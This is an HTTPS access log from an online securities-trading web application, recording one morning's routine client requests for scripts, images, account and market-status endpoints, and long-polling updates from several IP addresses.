[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767932232738 HTTP/1.1" 3188
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932233329 HTTP/1.1" -
[09/Jan/2026:12:12:45 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932234484 HTTP/1.1" -
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932235533 HTTP/1.1" -
[09/Jan/2026:12:12:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1544
[09/Jan/2026:12:12:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932234720 HTTP/1.1" -
[09/Jan/2026:12:12:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932236336 HTTP/1.1" -
[09/Jan/2026:12:12:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932236336 HTTP/1.1" -
[09/Jan/2026:12:12:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932237533 HTTP/1.1" -
[09/Jan/2026:12:12:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:12:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932239338 HTTP/1.1" -
[09/Jan/2026:12:12:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932239742 HTTP/1.1" -
[09/Jan/2026:12:12:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932240633 HTTP/1.1" -
[09/Jan/2026:12:12:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932239869 HTTP/1.1" -
[09/Jan/2026:12:12:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932242579 HTTP/1.1" -
[09/Jan/2026:12:12:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932242337 HTTP/1.1" -
[09/Jan/2026:12:12:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932242338 HTTP/1.1" -
[09/Jan/2026:12:12:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:12:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932245032 HTTP/1.1" -
[09/Jan/2026:12:12:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932245333 HTTP/1.1" -
[09/Jan/2026:12:12:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932245692 HTTP/1.1" -
[09/Jan/2026:12:12:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932245070 HTTP/1.1" -
[09/Jan/2026:12:12:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932247608 HTTP/1.1" -
[09/Jan/2026:12:12:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932248335 HTTP/1.1" -
[09/Jan/2026:12:12:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932248334 HTTP/1.1" -
[09/Jan/2026:12:13:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932250272 HTTP/1.1" -
[09/Jan/2026:12:13:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932250824 HTTP/1.1" -
[09/Jan/2026:12:13:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932251325 HTTP/1.1" -
[09/Jan/2026:12:13:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932250175 HTTP/1.1" -
[09/Jan/2026:12:13:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932252643 HTTP/1.1" -
[09/Jan/2026:12:13:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932254337 HTTP/1.1" -
[09/Jan/2026:12:13:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932254338 HTTP/1.1" -
